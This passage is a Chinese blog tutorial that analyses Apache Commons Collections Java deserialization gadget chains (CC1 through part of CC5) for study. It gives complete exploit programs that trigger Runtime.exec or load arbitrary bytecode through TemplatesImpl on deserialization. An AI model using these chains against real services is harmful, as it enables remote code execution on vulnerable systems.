惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

Google DeepMind News
Google DeepMind News
Stack Overflow Blog
Stack Overflow Blog
Hugging Face - Blog
Hugging Face - Blog
博客园_首页
T
The Blog of Author Tim Ferriss
博客园 - 叶小钗
N
Netflix TechBlog - Medium
腾讯CDC
C
Check Point Blog
P
Proofpoint News Feed
Engineering at Meta
Engineering at Meta
GbyAI
GbyAI
S
SegmentFault 最新的问题
F
Fortinet All Blogs
美团技术团队
U
Unit 42
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
博客园 - 司徒正美
F
Full Disclosure
Recorded Future
Recorded Future
D
DataBreaches.Net
博客园 - 【当耐特】
Martin Fowler
Martin Fowler
J
Java Code Geeks
I
InfoQ
Y
Y Combinator Blog
A
About on SuperTechFans
AI
AI
爱范儿
爱范儿
Exploit-DB.com RSS Feed
Exploit-DB.com RSS Feed
Forbes - Security
Forbes - Security
W
WeLiveSecurity
M
MIT News - Artificial intelligence
雷峰网
雷峰网
cs.CV updates on arXiv.org
cs.CV updates on arXiv.org
Simon Willison's Weblog
Simon Willison's Weblog
Schneier on Security
Schneier on Security
The GitHub Blog
The GitHub Blog
Security Archives - TechRepublic
Security Archives - TechRepublic
aimingoo的专栏
aimingoo的专栏
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
G
GRAHAM CLULEY
Know Your Adversary
Know Your Adversary
Latest news
Latest news
Threat Intelligence Blog | Flashpoint
Threat Intelligence Blog | Flashpoint
D
Docker
Recent Commits to openclaw:main
Recent Commits to openclaw:main
量子位
V2EX - 技术
V2EX - 技术
Project Zero
Project Zero

lazy_forever's Blog

GeekCTF 2024 Web WriteUp(全) 记一次零基础IOT设备与app交互0day漏洞挖掘学习经历 2023 DataCon大数据安全分析竞赛 WriteUp NewStarCTF 2023-WEEK4 Web WriteUp NewStarCTF 2023-WEEK3 Web WriteUp NewStarCTF 2023-WEEK2 Web WriteUp NewStarCTF 2023-WEEK1 WriteUp 天津市大学生信息安全网络攻防大赛 [DASCTF 2023 & 0X401七月暑期挑战赛] MyPicDisk 使用hexo框架搭建github静态博客 My First Blog
Java反序列化CC链
lazy_forever · 2024-02-23 · via lazy_forever's Blog

前言

经典的Java反序列化漏洞

漏洞主要集中于Apache Commons Collections组件,其内部封装了许多方法用来方便开发人员使用。

  • org.apache.commons.collections – CommonsCollections自定义的一组公用的接口和工具类
  • org.apache.commons.collections.bag – 实现Bag接口的一组类
  • org.apache.commons.collections.bidimap – 实现BidiMap系列接口的一组类
  • org.apache.commons.collections.buffer – 实现Buffer接口的一组类
  • org.apache.commons.collections.collection –实现java.util.Collection接口的一组类
  • org.apache.commons.collections.comparators– 实现java.util.Comparator接口的一组类
  • org.apache.commons.collections.functors –Commons Collections自定义的一组功能类
  • org.apache.commons.collections.iterators – 实现java.util.Iterator接口的一组类
  • org.apache.commons.collections.keyvalue – 实现集合和键/值映射相关的一组类
  • org.apache.commons.collections.list – 实现java.util.List接口的一组类
  • org.apache.commons.collections.map – 实现Map系列接口的一组类
  • org.apache.commons.collections.set – 实现Set系列接口的一组类

环境搭建主要使用了jdk8u65,Commons Collections<=3.2.1,Commons Collections4.0

CC链分析

CC1

漏洞影响:Commons Collections<=3.2.1 jdk<8u71

首先需要关注的是Transformer接口,其逻辑如下,主要是用来接收一个对象将其进行转化

1
2
3
public interface Transformer {
public Object transform(Object input);
}

其接口具有几个关键的实现类

首先是ConstantTransformer类,其transform函数是接收任意对象,返回一个常量,关键代码如下

1
2
3
4
5
6
7
8
9
10
public class ConstantTransformer implements Transformer, Serializable {
private final Object iConstant;
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
}

InvokerTransformer类,transform方法通过反射实现对接收对象任意方法任意参数的调用,也是CC1链中最后执行命令的位置,关键代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class InvokerTransformer implements Transformer, Serializable {
private final String iMethodName;
private final Class[] iParamTypes;
private final Object[] iArgs;
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (...Exception ex) {
throw ...;
}
}
}

ChainedTransformer类,其内部有一个存储Transformer类的数组,对接收的对象以此调用数组中的transform,关键代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
public class ChainedTransformer implements Transformer, Serializable {
private final Transformer[] iTransformers;
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
}

在了解了以上后,我们可以轻松的写出初步的命令执行

1
2
3
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"});
invokerTransformer.transform(r);

接下来需要去寻找完整调用链,即寻找调用transform函数的其他类

TransformedMap链

我们注意到TransformedMap类,其checkSetValue函数中调用了transform方法,TransformedMap类的关键代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable {
protected final Transformer keyTransformer;
protected final Transformer valueTransformer;
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
}

接下来要寻找哪个类的方法调用了checkSetValue函数,经过查找后只有一处,为AbstractInputCheckedMapDecorator类的内部类MapEntry的setValue方法,MapEntry类作用是遍历整个Map,其每次会存储一个键值对,setValue方法其实是重写了AbstractMapEntryDecorator类的setValue

1
2
3
4
5
6
7
8
9
10
11
static class MapEntry extends AbstractMapEntryDecorator {
private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}

此时,可以写出更进一步的命令执行方式

1
2
3
4
5
6
7
8
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"});
HashMap<Object, Object> map = new HashMap<>();
map.put("key", "value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
for(Map.Entry entry: transformedMap.entrySet()){
entry.setValue(r);
}

最后,需要去寻找一个可以通过readObject方法调用到setValue函数的类

注意到AnnotationInvocationHandler类的readObject方法有和上面命令执行类似的代码,其主要代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() || superInterfaces.length != 1 || superInterfaces[0] != java.lang.annotation.Annotation.class)
throw ...;
this.type = type;
this.memberValues = memberValues;
}
private void readObject(java.io.ObjectInputStream s) throws ... {
s.defaultReadObject();
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
throw ...;
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) {
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {
memberValue.setValue( new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name)) );
}
}
}
}
}

目前,看起来似乎已经找到了一个完整的调用链,但其实还存在几个问题

首先是Runtime未继承序列化接口,无法序列化,对此的解决方案是通过对Runtime.class进行反射来执行代码,因此部分代码可以修改为

1
2
3
4
5
6
7
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

接着是绕过AnnotationInvocationHandler.readObject方法的几个if判断,需要将传进去的注解内容与key相同。

最后是setValue的参数无法控制的问题,上面已经给出了方式,就是通过ConstantTransformer类来返回固定的对象。

于是,我们可以写出完整的CC1 TransformedMap链代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public class CC1 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "value");
Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Constructor<?> declaredConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Retention.class, transformedMap);
serialize(o);
deserialize("hack.bin");
}
public static Object deserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object o = ois.readObject();
return o;
}
public static void serialize(Object o) throws IOException {
FileOutputStream fileOutputStream = new FileOutputStream("hack.bin");
ObjectOutputStream out = new ObjectOutputStream(fileOutputStream);
out.writeObject(o);
out.close();
fileOutputStream.close();
}
}

LazyMap链

上面我们分析了TransformedMap链的内容,除了TransformedMap类调用了transform方法,LazyMap类也调用了transform方法。其关键代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public class LazyMap extends AbstractMapDecorator implements Map, Serializable {
protected final Transformer factory;
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}
public Object get(Object key) {
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
}

注意到上文提及的AnnotationInvocationHandler类中invoke方法调用了get函数,其方法主要内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();
if (member.equals("equals") && paramTypes.length == 1 && paramTypes[0] == Object.class)
return equalsImpl(args[0]);
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method");
switch(member) {
case "toString":
return toStringImpl();
case "hashCode":
return hashCodeImpl();
case "annotationType":
return type;
}
Object result = memberValues.get(member);
if (result == null)
throw new IncompleteAnnotationException(type, member);
if (result instanceof ExceptionProxy)
throw ((ExceptionProxy) result).generateException();
if (result.getClass().isArray() && Array.getLength(result) != 0)
result = cloneArray(result);
return result;
}

接下来需要绕过一些if判断,方法名不能为toString、hashCode、annotationType,且参数个数必须为0。至此,我们可以写出利用链初步的框架

1
2
3
4
5
6
7
8
9
10
11
12
13
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
Constructor<?> declaredConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)declaredConstructor.newInstance(Override.class, lazyMap);
handler.invoke(null,Class.forName("java.lang.Object").getMethod("wait"),null);//触发点

invoke方法可以在动态代理内部触发,在对动态代理调用任意方法时,都会通过invoke方法来对接收的对象进行反射调用,而巧合的是AnnotationInvocationHandler类中readObject方法有一处memberValues.entrySet()正好符合可以绕过if判断的需求,因此可以得到完整的CC1 LazyMap调用链。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public class CC1 {
public static void main(String[] args) throws Throwable {
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
Constructor<?> declaredConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)declaredConstructor.newInstance(Override.class, lazyMap);
Map m = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), handler);
Object o = declaredConstructor.newInstance(Override.class, m);
serialize(o);
deserialize("hack.bin");
}
public static Object deserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object o = ois.readObject();
return o;
}
public static void serialize(Object o) throws IOException {
FileOutputStream fileOutputStream = new FileOutputStream("hack.bin");
ObjectOutputStream out = new ObjectOutputStream(fileOutputStream);
out.writeObject(o);
out.close();
fileOutputStream.close();
}
}

CC6

漏洞影响:Commons Collections<=3.2.1 jdk1.7,1.8 影响比较大的一条链

CC6与CC1的区别在于入口点处发生改变,后面从LazyMap开始都是一样的。

注意到TiedMapEntry类中,hashCode方法调用了getValue,getValue调用了get函数,达到LazyMap的get方法调用。TiedMapEntry类主要代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {
private final Map map;
private final Object key;
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}
public Object getValue() {
return map.get(key);
}
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}
}

而HashMap类中反序列化时会调用hashCode,可以参考URLDNS链来完成入口点处。HashMap类主要代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class HashMap<K,V> extends AbstractMap<K,V> implements Map<K,V>, Cloneable, Serializable {
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
...;
if (...) {
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}

进而可以编写CC6调用链,其中lazyMap.remove(“aaa”)是因为put方法会调用HashCode,将aaa值插入到LazyMap,导致反序列化无法正常调用,反射更改factory是为了防止命令在本地执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
public class CC6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, new ConstantTransformer("ccc"));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
HashMap<Object, Object> o = new HashMap<>();
o.put(tiedMapEntry, "bbb");
lazyMap.remove("aaa");

Class<LazyMap> lazyMapClass = LazyMap.class;
Field factory = lazyMapClass.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap, chainedTransformer);

serialize(o);
deserialize("hack.bin");
}
public static Object deserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object o = ois.readObject();
return o;
}
public static void serialize(Object o) throws IOException {
FileOutputStream fileOutputStream = new FileOutputStream("hack.bin");
ObjectOutputStream out = new ObjectOutputStream(fileOutputStream);
out.writeObject(o);
out.close();
fileOutputStream.close();
}
}

CC3

还是在CC1的基础上进行改进,CC1链中只能通过反射来调用命令,CC3中引入了TemplatesImpl类进行任意类加载调用静态代码块,去除了一些限制。先看一下TemplatesImpl类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
public final class TemplatesImpl implements Templates, Serializable {
private static String ABSTRACT_TRANSLET = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
private String _name = null;
private byte[][] _bytecodes = null;
private Class[] _class = null;
private int _transletIndex = -1;
private transient Map<String, Class<?>> _auxClasses = null;
private transient TransformerFactoryImpl _tfactory = null;
public TemplatesImpl() { }
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}
return translet;
}
catch (...Exception e) {
throw new ...Exception(err.toString());
}
}
public synchronized Transformer newTransformer() throws TransformerConfigurationException {
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);
if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}
if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}
}

TrAXFilter类中的构造函数中调用了newTransformer方法

1
2
3
4
5
6
7
8
9
10
11
12
public class TrAXFilter extends XMLFilterImpl {
private Templates _templates;
private TransformerImpl _transformer;
private TransformerHandlerImpl _transformerHandler;
private boolean _useServicesMechanism = true;
public TrAXFilter(Templates templates) throws TransformerConfigurationException {
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}
}

看起来已经可以完成这条链了,但是CC3中引入了一个新的Transformer类:InstantiateTransformer,其主要功能是反射调用一个类的构造函数并执行,主要代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class InstantiateTransformer implements Transformer, Serializable {
private final Class[] iParamTypes;
private final Object[] iArgs;
public Object transform(Object input) {
try {
if (input instanceof Class == false) {
throw new FunctorException(...);
}
Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs);
} catch (...Exception ex) {
throw new ...Exception("...", ex);
}
}
}

于是可以完成CC3链的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
public class CC3 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> tc = templates.getClass();

Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "foo");

Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("hack.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);

Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
Transformer[] transformers = {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "value");
Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Constructor<?> declaredConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Retention.class, transformedMap);
serialize(o);
deserialize("hack.bin");
}
public static Object deserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object o = ois.readObject();
return o;
}
public static void serialize(Object o) throws IOException {
FileOutputStream fileOutputStream = new FileOutputStream("hack.bin");
ObjectOutputStream out = new ObjectOutputStream(fileOutputStream);
out.writeObject(o);
out.close();
fileOutputStream.close();
}
}

CC4

从CC4开始,进入到commons collections4的环境中

CC4调用链的后半部分与CC3无大致差别,依旧是ChainedTransformer调用InstantiateTransformer来加载代码。

在TransformingComparator类中compare方法中调用了transform函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class TransformingComparator<I, O> implements Comparator<I>, Serializable {
private final Comparator<O> decorated;
private final Transformer<? super I, ? extends O> transformer;
public TransformingComparator(final Transformer<? super I, ? extends O> transformer) {
this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
}
public TransformingComparator(final Transformer<? super I, ? extends O> transformer, final Comparator<O> decorated) {
this.decorated = decorated;
this.transformer = transformer;
}
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
}

接着使用PriorityQueue的siftDownUsingComparator方法调用compare函数,恰好中PriorityQueue的readObject方法调用heapify再调用siftDown最后可以走到siftDownUsingComparator方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
public class PriorityQueue<E> extends AbstractQueue<E> implements java.io.Serializable {
public PriorityQueue(Comparator<? super E> comparator) {
this(DEFAULT_INITIAL_CAPACITY, comparator);
}
public PriorityQueue(int initialCapacity, Comparator<? super E> comparator) {
if (initialCapacity < 1)
throw new IllegalArgumentException();
this.queue = new Object[initialCapacity];
this.comparator = comparator;
}
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size && comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
private void readObject(java.io.ObjectInputStream s) throws ...Exception {
s.defaultReadObject();
s.readInt();
queue = new Object[size];
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
heapify();
}

进而写出CC4代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
public class CC4 {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> tc = templates.getClass();

Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "foo");

Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("hack.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);

Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
Transformer[] transformers = {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
Class<? extends TransformingComparator> c = transformingComparator.getClass();
Field transformerField = c.getDeclaredField("transformer");
transformerField.setAccessible(true);
transformerField.set(transformingComparator, chainedTransformer);
serialize(priorityQueue);
deserialize("hack.bin");
}
public static Object deserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object o = ois.readObject();
return o;
}
public static void serialize(Object o) throws IOException {
FileOutputStream fileOutputStream = new FileOutputStream("hack.bin");
ObjectOutputStream out = new ObjectOutputStream(fileOutputStream);
out.writeObject(o);
out.close();
fileOutputStream.close();
}
}

CC2

和CC4比较相似,区别是舍去了ChainedTransformer和InstantiateTransformer,而采用InvokerTransformer直接对TemplatesImpl调用newTransformer(因为transform接收的参数可控)

这里直接给出代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
public class CC2 {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> tc = templates.getClass();

Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "foo");

Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("hack.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);

Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());

InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(2);
Class<? extends TransformingComparator> c = transformingComparator.getClass();
Field transformerField = c.getDeclaredField("transformer");
transformerField.setAccessible(true);
transformerField.set(transformingComparator, invokerTransformer);
serialize(priorityQueue);
deserialize("hack.bin");
}
public static Object deserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object o = ois.readObject();
return o;
}
public static void serialize(Object o) throws IOException {
FileOutputStream fileOutputStream = new FileOutputStream("hack.bin");
ObjectOutputStream out = new ObjectOutputStream(fileOutputStream);
out.writeObject(o);
out.close();
fileOutputStream.close();
}
}

CC5

cc5和cc7链又回到了Commons Collections<=3.2.1的范围

CC5和CC1、CC3的区别是不再借助 AnnotationInvocationHandler 的反序列化触发而是通过TiedMapEntry的toString方法调用LazyMap的get方法

1
2
3
4
5
6
7
8
public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {
private final Map map;
public Object getValue() {
return map.get(key);
}
public String toString() {
return getKey() + "=" + getValue();
}

接着通过BadAttributeValueExpException类的readObject方法调用TiedMapEntry的toString方法完成调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public class BadAttributeValueExpException extends Exception {
private Object val;
public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString();
}
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);

if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else {
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
}

最终实现代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public class CC5 {
public static void main(String[] args) throws Throwable {
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
